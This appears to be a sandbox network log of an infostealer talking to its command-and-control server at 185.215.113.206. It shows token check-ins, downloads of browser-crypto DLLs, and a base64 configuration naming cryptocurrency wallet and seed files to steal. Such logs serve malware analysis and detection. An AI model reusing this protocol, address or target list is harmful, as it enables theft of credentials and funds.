Nov 26, 2024 22:52:42.063970089 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="file"------HIIIECAAKECFHIECBKJD--
Nov 26, 2024 22:52:43.000102043 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 22:52:43.600147009 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 22:52:44.048515081 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 26, 2024 22:52:44.048537016 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 26, 2024 22:52:44.048553944 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 26, 2024 22:52:44.048580885 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Nov 26, 2024 22:52:44.048599005 CET	1236	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Nov 26, 2024 22:52:44.048862934 CET	672	IN	Data Raw: ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d Data Ascii: t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]U
Nov 26, 2024 22:52:44.048880100 CET	1236	IN	Data Raw: 3b 11 75 70 8b 49 10 8b 1f ff 15 00 80 0a 10 53 ff d1 83 c4 04 8b 07 89 45 f0 8b 47 04 8b 48 14 8b 70 1c 8d 9f 8c 00 00 00 ff 15 00 80 0a 10 56 53 ff 75 f0 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 Data Ascii: ;upISEGHpVSu7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;Kq
Nov 26, 2024 22:52:44.049113035 CET	1236	IN	Data Raw: 89 fb 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8a 13 32 14 0f 8b 4d e4 88 11 83 fe 01 0f 84 24 01 00 00 8b 45 ec 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 Data Ascii: }$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}
Nov 26, 2024 22:52:44.056924105 CET	1236	IN	Data Raw: 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 Data Ascii: xEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffp
Nov 26, 2024 22:52:44.056979895 CET	1236	IN	Data Raw: 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f Data Ascii: M}Et}EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQ
Nov 26, 2024 22:52:45.481683016 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 22:52:45.918755054 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 26, 2024 22:52:46.781079054 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 22:52:47.219562054 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 26, 2024 22:52:48.120141983 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 22:52:48.635006905 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 26, 2024 22:52:52.618998051 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 22:52:53.073926926 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 26, 2024 22:52:53.699820995 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 22:52:54.136964083 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 26, 2024 22:52:54.634057045 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 22:52:55.747023106 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 22:52:55.803219080 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="message"wallets------BAEBFIIECBGCBGDHCAFC--
Nov 26, 2024 22:52:56.279685974 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 26, 2024 22:52:56.282954931 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"files------FCBAEHCAEGDHJKFHJKFI--
Nov 26, 2024 22:52:56.745923042 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
